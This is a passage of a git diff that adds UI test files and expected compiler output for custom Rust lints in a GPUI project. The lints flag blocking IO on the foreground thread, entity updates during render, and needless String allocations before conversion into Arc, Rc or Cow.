+    let _ = std::fs::File::create_new("new.bin");
+}
+
+// --- std::fs::File instance methods ---
+
+fn file_sync_all_with_app(cx: &mut App) {
+    if let Ok(f) = std::fs::File::open("x") {
+        let _ = f.sync_all();
+    }
+}
+
+fn file_sync_data_with_app(cx: &mut App) {
+    if let Ok(f) = std::fs::File::open("x") {
+        let _ = f.sync_data();
+    }
+}
+
+fn file_set_len_with_app(cx: &mut App) {
+    if let Ok(f) = std::fs::File::open("x") {
+        let _ = f.set_len(0);
+    }
+}
+
+fn file_metadata_with_app(cx: &mut App) {
+    if let Ok(f) = std::fs::File::open("x") {
+        let _ = f.metadata();
+    }
+}
+
+fn file_try_clone_with_app(cx: &mut App) {
+    if let Ok(f) = std::fs::File::open("x") {
+        let _ = f.try_clone();
+    }
+}
+
+// --- std::thread ---
+
+fn sleep_with_context(cx: &mut Context<'_, Editor>) {
+    std::thread::sleep(std::time::Duration::from_millis(100));
+}
+
+// --- std::path::Path methods ---
+
+fn path_metadata_with_app(cx: &mut App) {
+    let _ = std::path::Path::new("file.txt").metadata();
+}
+
+fn path_symlink_metadata_with_app(cx: &mut App) {
+    let _ = std::path::Path::new("link").symlink_metadata();
+}
+
+fn path_read_link_with_app(cx: &mut App) {
+    let _ = std::path::Path::new("link").read_link();
+}
+
+fn path_read_dir_with_app(cx: &mut App) {
+    let _ = std::path::Path::new("dir").read_dir();
+}
+
+fn path_exists_with_app(cx: &mut App) {
+    let _ = std::path::Path::new("file.txt").exists();
+}
+
+fn path_try_exists_with_app(cx: &mut App) {
+    let _ = std::path::Path::new("file.txt").try_exists();
+}
+
+fn path_is_file_with_app(cx: &mut App) {
+    let _ = std::path::Path::new("file.txt").is_file();
+}
+
+fn path_is_dir_with_app(cx: &mut App) {
+    let _ = std::path::Path::new("dir").is_dir();
+}
+
+fn path_is_symlink_with_app(cx: &mut App) {
+    let _ = std::path::Path::new("link").is_symlink();
+}
+
+fn path_canonicalize_with_app(cx: &mut App) {
+    let _ = std::path::Path::new("./relative").canonicalize();
+}
+
+// PathBuf derefs to Path, so the same methods fire.
+fn pathbuf_exists_with_app(cx: &mut App) {
+    let _ = std::path::PathBuf::from("file.txt").exists();
+}
+
+// --- std::net ---
+
+fn tcp_listener_bind_with_app(cx: &mut App) {
+    let _ = std::net::TcpListener::bind("127.0.0.1:0");
+}
+
+fn tcp_stream_connect_with_app(cx: &mut App) {
+    let _ = std::net::TcpStream::connect("127.0.0.1:80");
+}
+
+fn tcp_stream_connect_timeout_with_app(cx: &mut App) {
+    let addr = std::net::SocketAddr::from(([127, 0, 0, 1], 80));
+    let _ = std::net::TcpStream::connect_timeout(&addr, std::time::Duration::from_secs(1));
+}
+
+fn tcp_listener_accept_with_app(cx: &mut App) {
+    if let Ok(listener) = std::net::TcpListener::bind("127.0.0.1:0") {
+        let _ = listener.accept();
+    }
+}
+
+fn udp_socket_bind_with_app(cx: &mut App) {
+    let _ = std::net::UdpSocket::bind("127.0.0.1:0");
+}
+
+fn udp_socket_send_recv_with_app(cx: &mut App) {
+    if let Ok(socket) = std::net::UdpSocket::bind("127.0.0.1:0") {
+        let mut buf = [0u8; 64];
+        let _ = socket.recv_from(&mut buf);
+    }
+}
+
+// --- std::process ---
+
+fn command_output_with_app(cx: &mut App) {
+    let _ = std::process::Command::new("echo").output();
+}
+
+fn command_status_with_app(cx: &mut App) {
+    let _ = std::process::Command::new("echo").status();
+}
+
+fn command_spawn_with_app(cx: &mut App) {
+    let _ = std::process::Command::new("echo").spawn();
+}
+
+fn child_wait_with_app(cx: &mut App) {
+    if let Ok(mut child) = std::process::Command::new("echo").spawn() {
+        let _ = child.wait();
+    }
+}
+
+fn child_wait_with_output_with_app(cx: &mut App) {
+    if let Ok(child) = std::process::Command::new("echo").spawn() {
+        let _ = child.wait_with_output();
+    }
+}
+
+// --- std::sync ---
+
+fn mutex_lock_with_app(cx: &mut App) {
+    let m = std::sync::Mutex::new(42);
+    let _ = m.lock();
+}
+
+fn rwlock_read_with_app(cx: &mut App) {
+    let rw = std::sync::RwLock::new(42);
+    let _ = rw.read();
+}
+
+fn rwlock_write_with_app(cx: &mut App) {
+    let rw = std::sync::RwLock::new(42);
+    let _ = rw.write();
+}
+
+fn barrier_wait_with_app(cx: &mut App) {
+    let b = std::sync::Barrier::new(1);
+    b.wait();
+}
+
+fn receiver_recv_with_app(cx: &mut App) {
+    let (_tx, rx) = std::sync::mpsc::channel::<i32>();
+    let _ = rx.recv();
+}
+
+fn sync_sender_send_with_app(cx: &mut App) {
+    let (tx, _rx) = std::sync::mpsc::sync_channel::<i32>(1);
+    let _ = tx.send(42);
+}
+
+// --- Render impl ---
+
+struct BlockingRenderView;
+
+impl Render for BlockingRenderView {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let _ = std::fs::read_to_string("layout.toml");
+        ()
+    }
+}
+
+// ============================================================
+// SHOULD NOT WARN — no GPUI context, or inside closure
+// ============================================================
+
+// Plain function with no GPUI parameter.
+fn load_config_plain() -> String {
+    std::fs::read_to_string("config.toml").unwrap_or_default()
+}
+
+// Blocking IO inside a closure (could be passed to background_spawn).
+fn setup_with_closure(cx: &mut App) {
+    let _handler = || {
+        let _ = std::fs::read_to_string("config.toml");
+    };
+}
+
+// Blocking IO in a function with no GPUI types at all.
+fn standalone_sleep() {
+    std::thread::sleep(std::time::Duration::from_millis(10));
+}
+
+// Path methods with no GPUI parameter.
+fn path_exists_plain() -> bool {
+    std::path::Path::new("file.txt").exists()
+}
+
+// Net calls with no GPUI parameter.
+fn tcp_bind_plain() {
+    let _ = std::net::TcpListener::bind("127.0.0.1:0");
+}
+
+// Mutex lock with no GPUI parameter.
+fn mutex_lock_plain() {
+    let m = std::sync::Mutex::new(0);
+    let _ = m.lock();
+}
+
+fn main() {}
diff --git a/tooling/lints/ui/blocking_io_on_foreground.stderr b/tooling/lints/ui/blocking_io_on_foreground.stderr
new file mode 100644
index 00000000000000..fb502d22f02ac6
--- /dev/null
+++ b/tooling/lints/ui/blocking_io_on_foreground.stderr
@@ -0,0 +1,395 @@
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:18:13
+   |
+LL |     let _ = std::fs::read_to_string("config.toml");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+   |
+   = note: `-D blocking-io-on-foreground` implied by `-D warnings`
+   = help: to override `-D warnings` add `#[allow(blocking_io_on_foreground)]`
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:22:13
+   |
+LL |     let _ = std::fs::write("out.txt", b"data");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:26:13
+   |
+LL |     let _ = std::fs::read("data.bin");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:30:13
+   |
+LL |     let _ = std::fs::metadata("file.txt");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:34:13
+   |
+LL |     let _ = std::fs::create_dir_all("some/path");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:38:13
+   |
+LL |     let _ = std::fs::remove_file("old.txt");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:42:13
+   |
+LL |     let _ = std::fs::canonicalize("./relative");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:46:13
+   |
+LL |     let _ = std::fs::read_dir("some/dir");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:50:13
+   |
+LL |     let _ = std::fs::read_link("some/link");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:54:13
+   |
+LL |     let _ = std::fs::symlink_metadata("file.txt");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:58:23
+   |
+LL |     if let Ok(meta) = std::fs::metadata("file.txt") {
+   |                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:59:17
+   |
+LL |         let _ = std::fs::set_permissions("file.txt", meta.permissions());
+   |                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:64:13
+   |
+LL |     let _ = std::fs::copy("a.txt", "b.txt");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:68:13
+   |
+LL |     let _ = std::fs::rename("old.txt", "new.txt");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:72:13
+   |
+LL |     let _ = std::fs::hard_link("original", "link");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:76:13
+   |
+LL |     let _ = std::fs::create_dir("one_dir");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:80:13
+   |
+LL |     let _ = std::fs::remove_dir("empty_dir");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:84:13
+   |
+LL |     let _ = std::fs::remove_dir_all("dir_tree");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:90:13
+   |
+LL |     let _ = std::fs::File::open("data.bin");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:94:13
+   |
+LL |     let _ = std::fs::File::create("out.bin");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:98:13
+   |
+LL |     let _ = std::fs::File::create_new("new.bin");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:104:20
+   |
+LL |     if let Ok(f) = std::fs::File::open("x") {
+   |                    ^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:105:17
+   |
+LL |         let _ = f.sync_all();
+   |                 ^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:110:20
+   |
+LL |     if let Ok(f) = std::fs::File::open("x") {
+   |                    ^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:111:17
+   |
+LL |         let _ = f.sync_data();
+   |                 ^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:116:20
+   |
+LL |     if let Ok(f) = std::fs::File::open("x") {
+   |                    ^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:117:17
+   |
+LL |         let _ = f.set_len(0);
+   |                 ^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:122:20
+   |
+LL |     if let Ok(f) = std::fs::File::open("x") {
+   |                    ^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:123:17
+   |
+LL |         let _ = f.metadata();
+   |                 ^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:128:20
+   |
+LL |     if let Ok(f) = std::fs::File::open("x") {
+   |                    ^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:129:17
+   |
+LL |         let _ = f.try_clone();
+   |                 ^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:136:5
+   |
+LL |     std::thread::sleep(std::time::Duration::from_millis(100));
+   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:142:13
+   |
+LL |     let _ = std::path::Path::new("file.txt").metadata();
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:146:13
+   |
+LL |     let _ = std::path::Path::new("link").symlink_metadata();
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:150:13
+   |
+LL |     let _ = std::path::Path::new("link").read_link();
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:154:13
+   |
+LL |     let _ = std::path::Path::new("dir").read_dir();
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:158:13
+   |
+LL |     let _ = std::path::Path::new("file.txt").exists();
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:162:13
+   |
+LL |     let _ = std::path::Path::new("file.txt").try_exists();
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:166:13
+   |
+LL |     let _ = std::path::Path::new("file.txt").is_file();
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:170:13
+   |
+LL |     let _ = std::path::Path::new("dir").is_dir();
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:174:13
+   |
+LL |     let _ = std::path::Path::new("link").is_symlink();
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:178:13
+   |
+LL |     let _ = std::path::Path::new("./relative").canonicalize();
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:183:13
+   |
+LL |     let _ = std::path::PathBuf::from("file.txt").exists();
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:189:13
+   |
+LL |     let _ = std::net::TcpListener::bind("127.0.0.1:0");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:193:13
+   |
+LL |     let _ = std::net::TcpStream::connect("127.0.0.1:80");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:198:13
+   |
+LL |     let _ = std::net::TcpStream::connect_timeout(&addr, std::time::Duration::from_secs(1));
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:202:27
+   |
+LL |     if let Ok(listener) = std::net::TcpListener::bind("127.0.0.1:0") {
+   |                           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:203:17
+   |
+LL |         let _ = listener.accept();
+   |                 ^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:208:13
+   |
+LL |     let _ = std::net::UdpSocket::bind("127.0.0.1:0");
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:212:25
+   |
+LL |     if let Ok(socket) = std::net::UdpSocket::bind("127.0.0.1:0") {
+   |                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:214:17
+   |
+LL |         let _ = socket.recv_from(&mut buf);
+   |                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:221:13
+   |
+LL |     let _ = std::process::Command::new("echo").output();
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:225:13
+   |
+LL |     let _ = std::process::Command::new("echo").status();
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:229:13
+   |
+LL |     let _ = std::process::Command::new("echo").spawn();
+   |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:233:28
+   |
+LL |     if let Ok(mut child) = std::process::Command::new("echo").spawn() {
+   |                            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:234:17
+   |
+LL |         let _ = child.wait();
+   |                 ^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:239:24
+   |
+LL |     if let Ok(child) = std::process::Command::new("echo").spawn() {
+   |                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:240:17
+   |
+LL |         let _ = child.wait_with_output();
+   |                 ^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:248:13
+   |
+LL |     let _ = m.lock();
+   |             ^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:253:13
+   |
+LL |     let _ = rw.read();
+   |             ^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:258:13
+   |
+LL |     let _ = rw.write();
+   |             ^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:263:5
+   |
+LL |     b.wait();
+   |     ^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:268:13
+   |
+LL |     let _ = rx.recv();
+   |             ^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:273:13
+   |
+LL |     let _ = tx.send(42);
+   |             ^^^^^^^^^^^
+
+error: blocking IO call on the GPUI foreground thread
+  --> $DIR/blocking_io_on_foreground.rs:282:17
+   |
+LL |         let _ = std::fs::read_to_string("layout.toml");
+   |                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: aborting due to 65 previous errors
+
diff --git a/tooling/lints/ui/entity_update_in_render.rs b/tooling/lints/ui/entity_update_in_render.rs
new file mode 100644
index 00000000000000..d9e733902a1ae1
--- /dev/null
+++ b/tooling/lints/ui/entity_update_in_render.rs
@@ -0,0 +1,116 @@
+// Tests for the `entity_update_in_render` lint.
+
+#![allow(unused)]
+
+extern crate gpui;
+
+use gpui::*;
+
+struct Counter {
+    value: i32,
+}
+
+// ============================================================
+// SHOULD WARN — .update() returning () inside Render::render
+// ============================================================
+
+struct MutatingView {
+    counter: Entity<Counter>,
+}
+
+impl Render for MutatingView {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        self.counter.update(cx, |counter, _cx| {
+            counter.value += 1;
+        });
+        ()
+    }
+}
+
+// WeakEntity::update returning Result<(), _> inside Render::render
+struct WeakMutatingView {
+    counter: WeakEntity<Counter>,
+}
+
+impl Render for WeakMutatingView {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let _ = self.counter.update(cx, |counter, _cx| {
+            counter.value += 1;
+        });
+        ()
+    }
+}
+
+// Entity::update returning () inside RenderOnce::render
+struct OnceMutatingView {
+    counter: Entity<Counter>,
+}
+
+impl RenderOnce for OnceMutatingView {
+    fn render(self, _window: &mut Window, cx: &mut App) -> impl IntoElement {
+        self.counter.update(cx, |counter, _cx| {
+            counter.value += 1;
+        });
+        ()
+    }
+}
+
+// ============================================================
+// SHOULD NOT WARN
+// ============================================================
+
+// .update() returning a value (reading, not mutating)
+struct ReadingView {
+    counter: Entity<Counter>,
+}
+
+impl Render for ReadingView {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let _val: i32 = self.counter.update(cx, |counter, _cx| counter.value);
+        ()
+    }
+}
+
+// .update() inside a closure (e.g. event handler), not directly in render
+struct ClosureView {
+    counter: Entity<Counter>,
+}
+
+impl Render for ClosureView {
+    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let counter = &self.counter;
+        let _handler = |cx: &mut App| {
+            counter.update(cx, |counter, _cx| {
+                counter.value += 1;
+            });
+        };
+        ()
+    }
+}
+
+// .update() outside of render entirely
+fn update_outside_render(entity: &Entity<Counter>, cx: &mut App) {
+    entity.update(cx, |counter, _cx| {
+        counter.value += 1;
+    });
+}
+
+// .update() on a non-gpui type (unrelated method named "update")
+struct FakeEntity;
+
+impl FakeEntity {
+    fn update(&self) {}
+}
+
+struct FakeView {
+    thing: FakeEntity,
+}
+
+impl Render for FakeView {
+    fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+        self.thing.update();
+        ()
+    }
+}
+
+fn main() {}
diff --git a/tooling/lints/ui/entity_update_in_render.stderr b/tooling/lints/ui/entity_update_in_render.stderr
new file mode 100644
index 00000000000000..53d9b7d9927fa6
--- /dev/null
+++ b/tooling/lints/ui/entity_update_in_render.stderr
@@ -0,0 +1,30 @@
+error: entity `.update()` called during render mutates state in the render pass
+  --> $DIR/entity_update_in_render.rs:23:9
+   |
+LL | /         self.counter.update(cx, |counter, _cx| {
+LL | |             counter.value += 1;
+LL | |         });
+   | |__________^
+   |
+   = note: `-D entity-update-in-render` implied by `-D warnings`
+   = help: to override `-D warnings` add `#[allow(entity_update_in_render)]`
+
+error: entity `.update()` called during render mutates state in the render pass
+  --> $DIR/entity_update_in_render.rs:37:17
+   |
+LL |           let _ = self.counter.update(cx, |counter, _cx| {
+   |  _________________^
+LL | |             counter.value += 1;
+LL | |         });
+   | |__________^
+
+error: entity `.update()` called during render mutates state in the render pass
+  --> $DIR/entity_update_in_render.rs:51:9
+   |
+LL | /         self.counter.update(cx, |counter, _cx| {
+LL | |             counter.value += 1;
+LL | |         });
+   | |__________^
+
+error: aborting due to 3 previous errors
+
diff --git a/tooling/lints/ui/owned_string_into_shared.rs b/tooling/lints/ui/owned_string_into_shared.rs
new file mode 100644
index 00000000000000..b4dd0aa9f54ef6
--- /dev/null
+++ b/tooling/lints/ui/owned_string_into_shared.rs
@@ -0,0 +1,68 @@
+// Tests for the `owned_string_into_shared` lint.
+
+#![allow(unused)]
+
+use std::borrow::Cow;
+use std::rc::Rc;
+use std::sync::Arc;
+
+fn main() {
+    // --- Should warn ---
+
+    // String::from(<literal>).into() into Arc<str>.
+    let _a: Arc<str> = String::from("hello").into();
+
+    // String::from(<literal>).into() into Rc<str>.
+    let _b: Rc<str> = String::from("world").into();
+
+    // String::from(<literal>).into() into Cow<'_, str>.
+    let _c: Cow<'_, str> = String::from("borrowed-or-owned").into();
+
+    // <literal>.to_string().into() into Arc<str>.
+    let _d: Arc<str> = "via-to-string".to_string().into();
+
+    // <literal>.to_owned().into() into Arc<str>.
+    let _e: Arc<str> = "via-to-owned".to_owned().into();
+
+    // <literal>.to_string().into() into Rc<str>.
+    let _f: Rc<str> = "rc-via-to-string".to_string().into();
+
+    // <literal>.to_owned().into() into Cow<'_, str>.
+    let _g: Cow<'_, str> = "cow-via-to-owned".to_owned().into();
+
+    // Long literal still flagged the same way.
+    let _h: Arc<str> =
+        String::from("this literal is definitely longer than twenty three bytes").into();
+
+    // --- Should NOT warn ---
+
+    // Direct construction from the literal — already optimal.
+    let _ok1: Arc<str> = Arc::from("hello");
+    let _ok2: Rc<str> = Rc::from("world");
+    let _ok3: Cow<'_, str> = Cow::Borrowed("borrowed");
+
+    // Producing a plain `String` (not a refcounted destination).
+    let _ok4: String = String::from("not refcounted");
+    let _ok5: String = "x".to_string();
+    let _ok6: String = "x".to_owned();
+
+    // `.into()` from a non-literal `String` — the allocation is unavoidable.
+    let dynamic: String = make_string();
+    let _ok7: Arc<str> = dynamic.into();
+
+    // `.into()` from a `&str` directly (no owned `String` in between).
+    let _ok8: Arc<str> = "direct".into();
+
+    // `.into()` whose destination is not one of the targeted types.
+    let _ok9: Box<str> = String::from("box-str").into();
+
+    // `String::new()` is not built from a literal.
+    let _ok10: Arc<str> = String::new().into();
+
+    // Method call that is not `into`.
+    let _ok11: String = String::from("foo").clone();
+}
+
+fn make_string() -> String {
+    String::from("dynamic")
+}
diff --git a/tooling/lints/ui/owned_string_into_shared.stderr b/tooling/lints/ui/owned_string_into_shared.stderr
new file mode 100644
index 00000000000000..ec6e13ea508ab1
--- /dev/null
+++ b/tooling/lints/ui/owned_string_into_shared.stderr
@@ -0,0 +1,53 @@
+error: this allocates an owned `String` from a string literal only to convert it into a refcounted string
+  --> $DIR/owned_string_into_shared.rs:13:24
+   |
+LL |     let _a: Arc<str> = String::from("hello").into();
+   |                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+   |
+   = note: `-D owned-string-into-shared` implied by `-D warnings`
+   = help: to override `-D warnings` add `#[allow(owned_string_into_shared)]`
+
+error: this allocates an owned `String` from a string literal only to convert it into a refcounted string
+  --> $DIR/owned_string_into_shared.rs:16:23
+   |
+LL |     let _b: Rc<str> = String::from("world").into();
+   |                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: this allocates an owned `String` from a string literal only to convert it into a refcounted string
+  --> $DIR/owned_string_into_shared.rs:19:28
+   |
+LL |     let _c: Cow<'_, str> = String::from("borrowed-or-owned").into();
+   |                            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: this allocates an owned `String` from a string literal only to convert it into a refcounted string
+  --> $DIR/owned_string_into_shared.rs:22:24
+   |
+LL |     let _d: Arc<str> = "via-to-string".to_string().into();
+   |                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: this allocates an owned `String` from a string literal only to convert it into a refcounted string
+  --> $DIR/owned_string_into_shared.rs:25:24
+   |
+LL |     let _e: Arc<str> = "via-to-owned".to_owned().into();
+   |                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+error: this allocates an owned `String` from a string literal only to convert it into a refcounted string
+  --> $DIR/owned_string_into_shared.rs:28:23
+   |
+LL |     let _f: Rc<str> = "rc-via-to-string".to_string().into();
